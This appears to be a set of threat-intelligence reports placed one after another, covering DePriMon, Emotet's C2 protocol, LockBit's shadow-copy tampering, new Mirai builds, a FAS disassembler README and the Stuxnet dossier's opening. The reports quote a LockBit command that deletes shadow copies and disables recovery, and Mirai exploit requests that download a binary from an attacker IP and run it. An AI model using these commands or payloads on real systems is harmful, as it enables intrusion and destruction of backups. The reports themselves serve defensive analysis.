During the second run, the downloader reads the configuration data from the file, not from itself – this way, the attacker can easily update the configuration. Thanks to its secure design, the configuration is not left in memory in unencrypted form. Every time the downloader needs to use some element of the configuration file, it decrypts the configuration file, retrieves the member, and encrypts the file again. This design protects the malware’s primary function – C&C communication – against memory forensics.
Of interest in the configuration file are:
- Two entries for usernames and two members for passwords – for the proxy server if it is set on the machine.
- Three entries for three C&C servers – each of them used on a different occasion.
- Three entries for three ports – each of them used on a different occasion.
- Flags indicating whether the downloader initializes a connection through Security Support Provider Interface (SSPI) with a possible proxy or only with a socket.
It should be noted that besides C&C servers extracted from malware samples, we identified additional domains and servers likely related to this malware.
### Encryption
The malware uses the AES encryption algorithm with three different 256-bit keys for different purposes:
- Key 1: For decryption of various sensitive strings in the malware.
- Key 2: For encryption and decryption of the configuration data in memory.
- Key 3: For encryption and decryption of the configuration file on disk.
This key is not hardcoded but derived using a 32-byte array which is then encrypted. The array is generated as follows: the first 4 bytes are the volume serial number of the system drive, and the remaining 28 bytes contain the values 5 – 32. This array is encrypted with Key 2, resulting in Key 3.
## Conclusion
DePriMon is an unusually advanced downloader whose developers have put extra effort into setting up the architecture and crafting the critical components. DePriMon is downloaded to memory and executed directly from there as a DLL using the reflective DLL loading technique. It is never stored on disk. It has a surprisingly extensive configuration file with several interesting elements, its encryption is properly implemented, and protects the C&C communication effectively.
As a result, DePriMon is a powerful, flexible, and persistent tool designed to download a payload and execute it, and to collect some basic information about the system and its user along the way.
## Indicators of Compromise (IoCs)
### ESET Detection Names
- Win32/DePriMon
- Win64/DePriMon
### SHA-1 Hashes
```
02B38F6E8B54885FA967851A5580F61C14A0AAB6
03E047DD4CECB16F513C44599BF9B8BA82D0B7CB
0996C280AB704E95C9043C5A250CCE077DF9C8B2
15EBE328A501B1D603E66762FBB4583D73E109F7
1911F6E8B05E38A3C994048C759C5EA2B95CE5F7
2B30BE3F39DEF1F404264D8858B89769E6C032D9
2D80B235CDF41E09D055DD1B01FD690E13BE0AC7
6DB79671A3F31F7A9BB870151792A56276619DC1
6FAB7AA0479D41700981983A39F962F28CCFBE29
7D0B08654B47329AD6AE44B8FF158105EA736BC3
7E8A7273C5A0D49DFE6DA04FEF963E30D5258814
8B4F3A06BA41F859E4CC394985BB788D5F76C85C
94C0BE25077D9A76F14A63CBF7A774A96E8006B8
968B52550062848A717027C512AFEDED19254F58
9C4BADE47865E8111DD3EEE6C5C4BC83F2489F5B
AA59CB6715CFFF545579861E5E77308F6CAEAC36
C2388C2B2ED6063EACBA8A4021CE32EB0929FAD2
CA34050771678C65040065822729F44B35C87B0C
D38045B42C7E87C199993AB929AD92ADE4F82398
E272FDA0E9BA1A1B8EF444FF5F2E8EE419746384
E2D39E290201010F49652EE6116FD9B35C9AD882
F413EEE3CFD85A60D7AFC4D4ECC4445BB1F0B8BC
```
### Domains
```
img.dealscienters[.]net 138.59.32.72
teknikgorus[.]com 88.119.179.17
wnupdnew[.]com 190.0.226.147
babmaftuh[.]com 185.56.89.196
alwatantrade[.]com 188.241.60.109
shayalyawm[.]com 5.226.168.124
elehenishing[.]com 185.225.17.77
almawaddrial[.]com 46.151.212.202
mdeastserv[.]com 46.151.212.201
```
### Keys – Example
```
Key 1: C097CF17DC3303BC8155534350464E50176ACA63842B0973831D8C6C8F136817
Key 2: 8D35913F80A23E820C23B3125ABF57901BC9A7B83283FB2B240193ABDEDE52B9
Key 3: Derived as described earlier.
```
### Filenames
```
dpnvmrs.dll
hp3mlnv.dll
hp4mlnv.dll
hp5nhd.dll
hp6nhd.dll
hpjdnb64.dll
hpmdnel3b.dll
ifssvc.dll
ifssvcmgr.dll
msprtmon64.dll
msptromn.dll
plamgr.dll
ppcrlchk.dll
ppcrlupd.dll
prntapt.dll
prntqdl64.dll
pscript6f.dll
pscript6s.dll
shprn64.dll
stprn32.dll
winmnprt.dll
```
### MITRE ATT&CK Techniques
| Tactic | ID | Name | Description |
|-------------|--------|-----------------------------|-----------------------------------------------------------------------------|
| Persistence | T1013 | Port Monitors | DePriMon installs one of its components as a port monitor for achieving persistence. |
| Defense | T1036 | Masquerading | DePriMon places its components into the System32 folder with names mimicking common system DLLs. |
| T1107 | File Deletion | DePriMon can delete itself securely by overwriting its files with random data and then deleting them. |
| T1112 | Modify Registry | DePriMon adds registry entry in HKLM\SYSTEM\CurrentControlSet\Control\Print\Monitors to achieve persistence. |
| T1134 | Access Token Manipulation | DePriMon obtains a user token for obtaining information about the proxy settings on the machine. |
| T1140 | Deobfuscate/Decode Files or Information | DePriMon encrypts some of its strings and its configuration file using AES-256. |
| Discovery | T1007 | System Service Discovery | DePriMon can list registered services on the system. |
| T1057 | Process Discovery | DePriMon can list running processes on the system. |
| T1082 | System Information Discovery | DePriMon collects various information about the system. |
| T1124 | System Time Discovery | DePriMon regularly checks system time and performs various actions based on it, such as uninstallation. |
| Command | T1043 | Commonly Used Port | DePriMon uses ports 443 and 8080 for C&C communication. |
| And | T1071 | Standard Application Layer Protocol | DePriMon uses HTTP for C&C communication. |
| Control | T1090 | Connection Proxy | DePriMon uses local proxy settings to make its communication less suspicious. | |
# Dissecting Emotet’s Network Communication Protocol
**April 22, 2019**
## Request Packet Format
Communication protocol for any malware lies at the core of its functionality. It is the essential way for any malware to communicate and receive further commands. Emotet has a complex communication format. Its peculiarities are the way the protocol is built and sent across the network. Knowing internal details of its communication format is essential to keep tabs on it. In this post, we are going to analyze Emotet communication format.
We will be skipping the unpacking and reconstruction part, as it is irrelevant to this topic of discussion. In this post, we will be specifically looking for areas of interest in the binary; there will be some parts that are analyzed preemptively. An unpacked Emotet sample has around 100 functions, as populated by IDA. Going through each of them to look for communication subroutines would be “a shot in the dark.” The easiest way would be to look for network API calls, and xrefs would sort out most of the dirty work for us.
Luckily in Emotet, there is only one xref to this API call, which perhaps would be the subroutine where the communication to the C2 server happens. This subroutine receives an encrypted and compressed packet with parameters like C2 server, port, and sends it out. Xrefing back a few subroutines would land us to the place where the packet is formulated. For comprehension, let’s name this subroutine as `ConnectAndSend`.
Tracking back xrefs, we finally reach the subroutine where the packet is generated. Based on API calls and variables used, we can easily name a few local variables and subroutines used, for example, `Botid`, `crc32`, etc. Based on how stack variables are set, we get an idea that a struct is formulated. The definition of the structure would be as follows:
```c
struct Emotet_BotInfo {
DWORD Uptime;
BYTE *BotID;
DWORD BotIDLen;
DWORD MajMinOSversion;
DWORD TermSessID;
DWORD Crc32HashBinary;
BYTE *ProcList;
DWORD ProlistLen;
DWORD PluginsInstalled[];
DWORD PluginsLen;
};
```
- **Uptime** - Measure of uptime of the infection
- **BotID** - Botnet Identifier (unique per infection)
- **BotIDLen** - Length of BotID
- **MajMinOSversion** - Operating system identifier
- **TermSessID** - Terminal Session ID
- **Crc32HashBinary** - CRC32 hash of binary
- **ProcList** - List of running processes (comma separated)
- **PluginsInstalled** - Array of DWORD consisting of MODID’s of plugins installed
This structure is passed on to a function that calculates total round size based on some bit shifts. This shifting gives us a clue about the format of the packet. Let's look at these patterns.
Translating it to a code snippet would roughly be equivalent to:
```python
towrite = number & 0x7f
number >>= 7
```
This code encodes an integer to LEB128 or Little Endian Base 128 format (VARINT). One of the serialized buffer formats that support it is the Google Protobuf format; this clue again makes the reversing equation easy for us. Some old Emotet analysis blogs support our assumption.
Emotet has two packets, one being encapsulated in the other. The inner layer, let's call it the base packet. Base packet fundamentally is a group of entries with metadata information. Metadata includes type of data and an index number particular to the entry. Entries have a simple structure but vary according to the type of entry.
```c
struct EmotetEntry {
VARINT ULEB128_EntryLength;
BYTE Data[ULEB128_EntryLength];
}
```
Emotet’s base packet has three types of data entries, and they are marked by numbers in the metadata. The type of element and type of data entry is specified in the metadata field, so the complete definition of the base packet would be something like this:
```c
struct BaseEmotetPacket {
BYTE MetaData;
struct EmotetEntry {
VARINT ULEB128_EntryLength;
BYTE Data[ULEB128_EntryLength];
} [n];
};
```
MetaData is a bitfield data type, which consists of:
- **0-3 bits** - Type of data field
- **3-7 bits** - Index Number of Data field
Where index is an incremental number and type is an enum.
```c
enum Type {
Type 5: Machine dependent endian WORD size integer,
Type 2: Buffer Struct { VARINT ULEN128_Size, BYTE data[ULEN128_Size]; },
Type 0: ULEN128 encoded variant
}
```
The code to add an entry in the base packet can be defined in Python as:
```python
def AppendElement(protoBuf, type, value, itemNum):
protoBuf = protoBuf + struct.pack("B", ((itemNum << 3) | type) & 0xff)
if type == 5: # DWORD Copy 32bit integer as it is
return protoBuf + struct.pack("I", value)
if type == 2: # Memory Buffer struct {VARINT ULEB128_Size, void * buf}
return protoBuf + encode(len(value)) + value
if type == 0: # encode DWORD in ULEB128
return protoBuf + encode(value)
```
Later on, the base packet is compressed and further encapsulated in another packet. The definition of the final packet is almost the same as the base packet, but the only subtle difference is that it only has one field, which is the encapsulated base packet.
```c
struct FinalPacket {
BYTE MetaData;
struct BaseEmotetPacket BasePacket;
};
```
This data is sent to the C2 server immediately after encrypting the final packet.
## Response Packet Format
Response data from C2 received is decompressed, and the plaintext data is supplied to a subroutine for deserialization. The response data field uses the same variable length integer encoding and is almost structured in the same way. The response format is complex and tentative for each type of request and bot configuration. Similarly, like the base request packet, this structure consists of a type and number bitfield, which determines which type of data field it is. In the case of response, it has three of them:
1. Main module packet
2. Binary update data
3. Deliverables data
```c
struct EmotetResponse {
unsigned char Number : 4;
unsigned char Type : 4;
unsigned char ModID; // Each module has modid (0 for main module)
unsigned char Number : 4;
unsigned char Type : 4;
VARINT UpdateBinLen; // Varint Type ULEB128 Encoded
BYTE BinaryBlob[UpdateBinLen]; // Update Binary PE FILE
unsigned char Number : 4;
unsigned char Type : 4;
VARINT deliverablesLen;
struct deliverables_ {
unsigned char Number : 4;
unsigned char Type : 4;
unsigned char ModID; // PluginModid
unsigned char ExeFlag; // 3 - Plugin, 2 - WriteElevatedExecute, 1 - writeExecute
VARINT PluginLen; // Varint Type ULEB128 Encoded
BYTE PluginBinaryBlob[PluginLen]; // Update Binary PE FILE
};
};
``` |
# How CrowdStrike Prevents Volume Shadow Tampering
**Thomas Moses - Sarang Sonawane - Liviu Arsene**
November 17, 2021
ECrime activities dominate the threat landscape, with ransomware as the main driver. Ransomware operators constantly refine their code and the efficacy of their operations. CrowdStrike uses improved behavior-based detections to prevent ransomware from tampering with Volume Shadow Copies. Volume Shadow Copy Service (VSS) backup protection nullifies attackers’ deletion attempts, retaining snapshots in a recoverable state.
Ransomware is dominating the eCrime landscape and is a significant concern for organizations, as it can cause major disruptions. ECrime accounted for over 75% of interactive intrusion activity from July 2020 to June 2021, according to the recent CrowdStrike 2021 Threat Hunting Report. The continually evolving big game hunting (BGH) business model has widespread adoption with access brokers facilitating access, with a major driver being dedicated leak sites to apply pressure for victim compliance. Ransomware continues to evolve, with threat actors implementing components and features that make it more difficult for victims to recover their data.
## Lockbit 2.0 Going for the Popularity Vote
The LockBit ransomware family has constantly been adding new capabilities, including tampering with Microsoft Server Volume Shadow Copy Service (VSS) by interacting with the legitimate `vssadmin.exe` Windows tool. Capabilities such as lateral movement or destruction of shadow copies are some of the most effective and pervasive tactics ransomware uses.
The LockBit 2.0 ransomware has similar capabilities to other ransomware families, including the ability to bypass UAC (User Account Control), self-terminate, or check the victim’s system language before encryption to ensure that it’s not in a Russian-speaking country. For example, LockBit 2.0 checks the default language of the system and the current user by using the Windows API calls `GetSystemDefaultUILanguage` and `GetUserDefaultUILanguage`. If the language code identifier matches the one specified, the program will exit.
LockBit can even perform a silent UAC bypass without triggering any alerts or the UAC popup, enabling it to encrypt silently. It first begins by checking if it’s running under Admin privileges. It does that by using specific API functions to get the process token (`NTOpenProcessToken`), create a SID identifier to check the permission level (`CreateWellKnownSid`), and then check whether the current process has sufficient admin privileges (`CheckTokenMembership` and `ZwQueryInformationToken` functions).
If the process is not running under Admin, it will attempt to do so by initializing a COM object with elevation of the COM interface by using the elevation moniker COM initialization method with GUID: `Elevation:Administrator!new:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}`. A similar elevation trick has been used by DarkSide and REvil ransomware families in the past.
LockBit 2.0 also has lateral movement capabilities and can scan for other hosts to spread to other network machines. For example, it calls the `GetLogicalDrives` function to retrieve a bitmask of currently available drives to list all available drives on the system. If the found drive is a network share, it tries to identify the name of the resource and connect to it using API functions such as `WNetGetConnectionW`, `PathRemoveBackslashW`, `OpenThreadToken`, and `DuplicateToken`.
In essence, it’s no longer about targeting and compromising individual machines but entire networks. REvil and LockBit are just some of the recent ransomware families that feature this capability, while others such as Ryuk and WastedLocker share the same functionality. The CrowdStrike Falcon OverWatch™ team found that in 36% of intrusions, adversaries can move laterally to additional hosts in less than 30 minutes, according to the CrowdStrike 2021 Threat Hunting Report.
Another interesting feature of LockBit 2.0 is that it prints out the ransom note message on all connected printers found in the network, adding public shaming to its encryption and data exfiltration capabilities.
## VSS Tampering: An Established Ransomware Tactic
The tampering and deletion of VSS shadow copies is a common tactic to prevent data recovery. Adversaries will often abuse legitimate Microsoft administrator tools to disable and remove VSS shadow copies. Common tools include Windows Management Instrumentation (WMI), BCDEdit (a command-line tool for managing Boot Configuration Data), and `vssadmin.exe`. LockBit 2.0 utilizes the following WMI command line for deleting shadow copies:
```
C:\Windows\System32\cmd.exe /c vssadmin delete shadows /all /quiet & wmic shadowcopy delete & bcdedit /set {default} bootstatuspolicy ignoreallfailures & bcdedit /set {default} recoveryenabled no
```
The use of preinstalled operating system tools, such as WMI, is not new. Still, adversaries have started abusing them as part of the initial access tactic to perform tasks without requiring a malicious executable file to be run or written to the disk on the compromised system. Adversaries have moved beyond malware by using increasingly sophisticated and stealthy techniques tailor-made to evade autonomous detections, as revealed by CrowdStrike Threat Graph®, which showed that 68% of detections indexed in April-June 2021 were malware-free.
## VSS Protection with CrowdStrike
CrowdStrike Falcon takes a layered approach to detecting and preventing ransomware by using behavior-based indicators of attack (IOAs) and advanced machine learning, among other capabilities. We are committed to continually improving the efficacy of our technologies against known and unknown threats and adversaries.
CrowdStrike’s enhanced IOA detections accurately distinguish malicious behavior from benign, resulting in high-confidence detections. This is especially important when ransomware shares similar capabilities with legitimate software, like backup solutions. Both can enumerate directories and write files that on the surface may seem inconsequential, but when correlated with other indicators on the endpoint, can identify a legitimate attack. Correlating seemingly ordinary behaviors allows us to identify opportunities for coverage across a wide range of malware families. For example, a single IOA can provide coverage for multiple families and previously unseen ones.
CrowdStrike’s recent innovation involves protecting shadow copies from being tampered with, adding another protection layer to mitigate ransomware attacks. Protecting shadow copies helps potentially compromised systems restore encrypted data with much less time and effort. Ultimately, this helps reduce operational costs associated with person-hours spent spinning up encrypted systems post-compromise.
The Falcon platform can prevent suspicious processes from tampering with shadow copies and performing actions such as changing file size to render the backup useless. For instance, should a LockBit 2.0 ransomware infection occur and attempt to use the legitimate Microsoft administrator tool (`vssadmin.exe`) to manipulate shadow copies, Falcon immediately detects this behavior and prevents the ransomware from deleting or tampering with them.
In essence, while a ransomware infection might be able to encrypt files on a compromised endpoint, Falcon can prevent ransomware from tampering with shadow copies and potentially expedite data recovery for your organization.
CrowdStrike prevents the destruction and tampering of shadow copies with volume shadow service backup protection, retaining the snapshots in a recoverable state regardless of threat actors using traditional or new novel techniques. This allows for instant recovery of live systems post-attack through direct snapshot tools or system recovery.
VSS shadow copy protection is just one of the new improvements added to CrowdStrike’s layered approach. We remain committed to our mission to stop breaches, and constantly improving our machine learning and behavior-based detection and protection technologies enables the Falcon platform to identify and protect against tactics, techniques, and procedures associated with sophisticated adversaries and threats.
## CrowdStrike’s Layered Approach Provides Best-in-Class Protection
The Falcon platform unifies intelligence, technology, and expertise to successfully detect and protect against ransomware. Artificial intelligence (AI)-powered machine learning and behavioral IOAs, fueled by a massive data set of trillions of events per week and threat actor intelligence, can identify and block ransomware. Coupled with expert threat hunters that proactively see and stop even the stealthiest of attacks, the Falcon platform uses a layered approach to protect the things that matter most to your organization from ransomware and other threats.
CrowdStrike Falcon endpoint protection packages unify the comprehensive technologies, intelligence, and expertise needed to successfully stop breaches. For fully managed detection and response (MDR), Falcon Complete™ seasoned security professionals deliver 403% ROI and 100% confidence.
## Indicators of Compromise (IOCs)
**File**: LockBit
**SHA256**: 0545f842ca2eb77bcac0fd17d6d0a8c607d7dbc8669709f3096e5c1828e1c049 |
# Mirai Compiled for New Processors Surfaces in the Wild
**By Ruchna Nigam**
**April 8, 2019**
## Executive Summary
In late February 2019, Unit 42 discovered Mirai samples compiled for new processors/architectures not previously seen before. Despite the source code being publicly released in October of 2016, the malware has, until now, only been found targeting a fixed set of processors/architectures.
Unit 42 has found the newly discovered samples are compiled for Altera Nios II, OpenRISC, Tensilica Xtensa, and Xilinx MicroBlaze processors. This is not the first time Mirai has been expanded for new processor architectures; samples targeting ARC CPUs were discovered in January 2018. Yet this development shows that Mirai developers continue to actively innovate, targeting a growing array of IoT devices. The malware gained notoriety in 2016 for its use in massive denial of service attacks on Dyn and the website of security blogger Brian Krebs. If the latest innovations lead to an increase in the number of infected devices, that means that Mirai attackers would have access to additional firepower for use in denial of service attacks.
In this blog, we show the new features we’ve found in these new samples, discuss the infrastructure we observed, show how other Mirai samples using known exploits were hosted on the same infrastructure as the new samples, and give indicators of compromise (IoCs) for these new samples. To protect against Mirai and other threats, organizations should make securing their IoT devices with the latest updates and non-default passwords a priority.
## New Features in these New Samples
In addition to being compiled for these new architectures, we have found that these new samples also contain the following new features:
- **Encryption algorithm:** These samples make use of a modified version of the standard byte-wise XOR (as implemented in the toggle_obf function) used in the original Mirai source code. It uses 11 8-byte keys, all of which are cumulatively byte-wise XOR-ed to get the final resulting key. This is effectively the equivalent of a byte-wise XOR with 0x5A.
- **attack_method_ovh:** The samples include a DDoS attack option with the following parameters:
- ATK_OPT_IP_TOS = 0
- ATK_OPT_IP_IDENT = 0xFFFF
- ATK_OPT_IP_TTL = 64
- ATK_OPT_IP_DF = 1
- ATK_OPT_SPORT = 0xFFFF
- ATK_OPT_DPORT = 0xFFFF
- ATK_OPT_SEQRND = 0xFFFF
- ATK_OPT_ACKRND = 0
- ATK_OPT_URG = 0
- ATK_OPT_ACK = 0
- ATK_OPT_PSH = 0
- ATK_OPT_RST = 0
- ATK_OPT_SYN = 1
- ATK_OPT_FIN = 0
- ATK_OPT_SOURCE = LOCAL_ADDR
These are the exact same parameters as the attack method “TCP SYN” (attack_method_tcpsyn) in the original Mirai source, so the reason behind incorporating a new attack method with the same parameters remains unclear. Pivoting on this attack method in AutoFocus, we found samples circulating in the wild since November 2018 for other previously known architectures also employing it.
## Infrastructure
We found these latest samples on a single IP that at one point was hosting them via an open directory; however, on February 22, 2019, the server was later updated to hide the file listing but continued to host the files themselves.
Prior to the update on February 22, the same IP was hosting Mirai samples containing the following exploits known to be used in previous versions of Mirai. The presence of these exploits in both previous versions of Mirai and our newly discovered samples helps show the tie between the two are likely used by the same attacker in this case.
| Vulnerability | Exploit Format |
|---------------|----------------|
| ThinkPHP | GET /to/thinkphp5.1.29/?s=index/ |
| Remote Code Execution | hinkContainer/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]='wget http://178.62.227[.]13/wrgjwrgjwrg246356356356/hx86 -O /tmp/Hito; chmod 777 /tmp/Hito; /tmp/Hito wget.exploit.selfrep.thinkphp' HTTP/1.1 |
| D-Link DSL2750B OS Command Injection | GET /setup.cgi?next_file=netgear.cfg&todo=syscmd&cmd=rm+-rf+/tmp/*;/bin/busybox+wget+-g+178.62.227[.]13+-l+/tmp/binary+-r+/wrgjwrgjwrg246356356356/hmips;+/bin/busybox+chmod 777+*+/tmp/binary;/tmp/binary+wget.selfrep.exploit.netgear&curpath=/¤tsetting.htm=1 HTTP/1.0 |
| CVE-2014-8361 | POST /ctrlt/DeviceUpgrade_1 HTTP/1.1 Content-Length: 430 Connection: keep-alive Accept: */* Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669" <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 178.62.227.13 -l /tmp/binary -r /wrgjwrgjwrg246356356356/hmips; /bin/busybox chmod 777 * /tmp/binary; /tmp/binary wget.selfrep.exploit.huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope> |
## Conclusion
Given that the Mirai source code is open source, something as elementary as compiling the same source code for a larger range of processors provides attackers with the advantage of a larger attack surface. Practically, this means that the family can now infect and propagate via a larger number of embedded devices, affording attackers greater DDoS firepower.
Palo Alto Networks customers are protected by:
- WildFire detects all related samples with malicious verdicts.
- All exploits and IPs/URLs involved in these campaigns are blocked through Threat Prevention and PANDB.
AutoFocus customers can track the exploits mentioned using the following tags:
- ThinkPHP RCE
- DLinkDSL2750BOSCmdInjection
- Netgear RCE
- CVE-2014-8361
- CVE-2017-17215
The malware family can be tracked in AutoFocus using the tag ELFMirai. Palo Alto Networks has shared our findings, including file samples and indicators of compromise, in this report with our fellow Cyber Threat Alliance members. CTA members use this intelligence to rapidly deploy protections to their customers and to systematically disrupt malicious cyber actors.
## Indicators of Compromise
**URLs**
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazebe
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hmicroblazeel
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hnios2
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hopenrisc
- 178[.]62.227.13/wrgjwrgjwrg246356356356/hxtensa
**Xilinx MicroBlaze Samples**
- 006b73c03760f168a5d71c0edd50e9a437aca7b3db1dbecac75ea2ef9e74f54f
- 233790b3a74245c4660cadec23145246484154abd01edd45836c31598f96b13d
- 26298ff73035ef2dc92cda118d476933d3014b39ac478865bd86d28aa5457459
- 2d7ed9ccd1b94f58aff30f7a7d798dd03b6a0f5bed2a529e1e13d8d78e9ae289
- 3891a82075bd173bb1e052c27f1be946559aaeb65e6a4c761ba8bbd2cbccd3fb
- 43c5efda1875fd809f97b49d296f34e1292ed86e5a4197460764fe67b98294ef
- 44f1d6144df90adea1b7b482c84946257c9fb70a9c195a6846f416de80b5e6fd
- 4cb4c5cbf7eb646bdc08640f4f9e9a4383a9c7ac4e26be0caeb9dc904670c5bf
- 4d8a4841a2f4a61ed6df2be79dd7ea1eb2052cee6eba4d8de30add7908ebb779
- 537c2d136a805fe1b703709b0794e25f91f2136027287fa4817080330c7989ce
- 683b6f8209725ae0e715cda5a1cd35bcaacb5d45ae8e487c98dce2c01c91c887
- 9b1eab0283fd6948a9a181abaa2f6b3c26f2b0077c8a8b32e763790dd64d2a22
- a736d6ebf9596872f3c92ac486be2588ccf0c53cf15a3897a97c83ca1525ff8d
- a9dbcc2681d427f9820ca9c5ec120b9bf3e83c9856e89736884ee4dc26712e50
- bdd19fa8a7c0e3a5ebbb14d5885cb09a863122ad2c78f53361db0c194045d491
- c0f18a5113b341faacb9f647cee954a237925cc62d5daff559a8a880702273c1
- c75b3c52c0f5eebfd4c44c3069a393e824d455c7405d57ee99fd7613b8211b31
- d28d05477ddbb1e3de330e98a2cb199ed76df0d1c942c467c977c9b70771477a
- de6a0d2b8b4323bc06a6cd02b0042fc92c36319696dafafd057e905d359f60ea
- e740f780f2b91a41c5024115bbed607b0a75e52fcf4f96b86d0f8adda0c97ddf
**OpenRISC Samples**
- 09f8885872bc47e03608d6725f8735074c8b915ca08540e367921223058c108a
- 199f1976cb5fb39a9c395a28e2178476b6eaec0f3499a5a11912f103dcd64d00
- 1efdfc79d0c4b779966dfcae7d4f0a1f17f043e098ec0f90ff12a7ebc3c3f1f1
- 24b4c838dd41c0d812f747e48cf24be4f2265bce8f1e4d0d8ca6a7fc5649019b
- 59b7a7baf4c239786fdf5ceca9084d829c6f6fc0603a524df313b2ef4958e4c2
- 6183c7c87ff7cc3721c000af73714be27884a22057c4dc69bccd34571353f327
- 74a45ff17678e0bddf383b5229785dda04c515e778bc9421d9396168f1cf3c3d
- 76c9e543a0386994031b4905533eccd05400b3bb12fefc94f1eb65af5debe986
- b6359a84bd36a3ce8a13f1306ad74d757c384a772691c228c9a00a5246d828fa
- b758405fd18c4518878868163472bcb4e988e4ecbc3312b9756d231b80646816
- b89196b9773c6c809a2547434ce3e9de8a494ed7b338e013fd3f2818b4b54fd1
- c33080bea85616fd1251f877cd9ff570dd6a2e2f24cc20254754cb2c74a2375e
- d21880f4f919c410d0f2ee447716a2f7288dbaa21ec7de8601f0fc999b4d3d45
- f646c45feb0ccab4caf61bdb4aa45b0295614b2e881ad9c594ccaec2ea886671
**Tensilica Xtensa Samples**
- 006436f282f46f49eb97c2e119622ac61086a908623ca741eb29caeca22c797a
- 28bb80c687cb0aeea0b2d53dd5bf34f21f7292e5708b0aefeea25aebe2ff93af
- 5647168f9818dc40599d057c426424709bde5722c62088ecff64b97d3acfc4a7
- 57cc6875ae0c571ef1edaae72d82b0da6e60331ad4b3ad34c922b9e4612b8779
- 61893583675935ac7a4857542f13d513ffbb176b302a72d26d7ec39fd931decb
- ac4a00bfe1031e19eb9a101d61ef5267627ebaeb2aca4b962c7bb1b5a59e337c
- b0cef399ea8ec2244aebb3506a2bb60c64c3921e816c0fc9752caf84c6cf196d
- b5da0b6070d9cf3a3d628864e0f0860c8fc967ce692c0142f5a6dafee64079f6
**Altera Nios II Samples**
- 0c35f2902d92ef4f46e4643d11c46bde57027bb14e2b75c027a50fe7efc4f358
- 3446c2ed11a6a5e02702afd5f7082eb435b2922096443cabd45d54b5b7582cc1
- 48c760ba6b6a29e2a90bdb88bf96486c158f2b47ee9e1c560a47071e39bb5e87
- 5876c9ac609ece0e051c57b380489490bc78e40c796b637af1e80adbdb9f70dc
- a457090fb6df8cb93c91ec6b5d89927f7a6f9e247389d945d44731351a367b4e
- ed5e313821bf3a20d226c1b5f2b0ba7f1897d0778c27620017b852579e3e1894
- fae498477388c53c8c623fd8ddb710cc286584200767907b104d55f916d37c05 |
# Fas-Disassembler for Visuallisp 0.8
Autolisp is a programming language for AutoCAD. Lisp source code files have the extension LSP and the compiled Lisp scripts FAS. This program will decrypt the resource part of fas and fsl files (write it to disk) and disassemble it. With the help of the disassembling, you can see exactly what the program does, how things are done, and you can change some things with the help of a Hex editor.
## Keys:
- Enter, Space, double click on a line to jump to an offset that is in the Disasm like "Goto 0213"
- Backspace, Num'-' to go back to old offset
- ´ (key beside Backspace), Num'+' to go forward
## Getting FSL-Files
All internal lisp programs of Visuallisp are stored in the resource section of vllib.dll (or vl.arx in AutoCAD LT). Use "Resource Hacker" or "Exescope" to dump these resources to disk and rename them to *.fsl.
## FAS to LSP-Files
The data from the decompiler column is written to some *_.lsp. However, the decompiler is far from being perfect. It is advised to always also open the *.txt which contains all information.
## Editing FAS-Files
For this purpose, enable [HexWorkShop] and click some item. Fas-Dis will start HexWorkShop and jump there via sendkey. Sending keystrokes to another program is a little fragile. For best results, place the HexWorkShop window beside Fas-Dis's main window and avoid overlapping. Also, take care to avoid editing the fas file by error. When asked to 'Save changes', click NO! In HexWorkShop options, enable 'Highlight changes' to better see unintended changes. Use HWorks UNDO to revert changes.
When hex editing fas-files, the following two commands may come in handy:
- **No Operation**: Good for deleting (= Nop out) unwanted instructions
Bytecode: 20h (Just Space) [or 62 or 63]
Parameters: none
- **Short Jump to offset**: Good for jumping over unwanted instructions, i.e., Fix Conditional Jump (=IF)
Bytecode: 0Fh [57h for FAR Jump]
Size: 3 Byte [5 Byte]
Parameters: 1 Word 2 Bytes [Dword 4 Bytes] specify Bytes to Skip
Example: '0F 0000' will point to the next instruction after jmp
When making changes, pay attention to the stack being unbalanced. In case there are errors after editing, decompile the edited Fas again to check/fix possible stack corruptions.
At the moment, there is no documentation file for fas-commands. To get more information about the command, please look at the function 'InterpretStream()' in FasFile.cls and learn from the fas-disassembling.
## Version history:
- **0.11 Feb 2018**
- Improved decompilation
- Support for local vars
- Started to manage/take care of types
- Branches cons, repeat
- Added inspector tool
- Colored output (Each command and type has its own color)
- **0.10**
- Uploaded to GitHub
- Some bug fixes (on reload, content of *_.lsp was appended)
- **0.9 Dez 2013**
- Support for 'AutoCAD PROTECTED LISP file' *.lsp
- **0.8**
- Support for vlx-files (vlx-splitter)
- Forward backward buttons for navigation added
- **0.7**
- Opcodes names for fsl-disassembling improved
- Added loop recognition
- Decompilation column added
- **0.6**
- Added Quick jump function for Hexworkshop
- Added Case insensitive search Checkbox
- **0.5**
- FasCommand disassembling improved
- Small bugs fixed
- **0.4 Nov 2005**
- First public version
- **0.3..0.1**
- Internal alpha-version (based on AutoLisp Resource Decrypter V0.9) |
# W32.Stuxnet Dossier
## Introduction
W32.Stuxnet has gained a lot of attention from researchers and media recently. There is good reason for this. Stuxnet is one of the most complex threats we have analyzed. In this paper, we take a detailed look at Stuxnet and its various components, particularly focusing on the final goal of Stuxnet, which is to reprogram industrial control systems. Stuxnet is a large, complex piece of malware with many different components and functionalities. We have already covered some of these components in our blog series on the topic. While some of the information from those blogs is included here, this paper is a more comprehensive and in-depth look at the threat.
Stuxnet is a threat that was primarily written to target an industrial control system or set of similar systems. Industrial control systems are used in gas pipelines and power plants. Its final goal is to reprogram industrial control systems (ICS) by modifying code on programmable logic controllers (PLCs) to make them work in a manner the attacker intended and to hide those changes from the operator of the equipment.
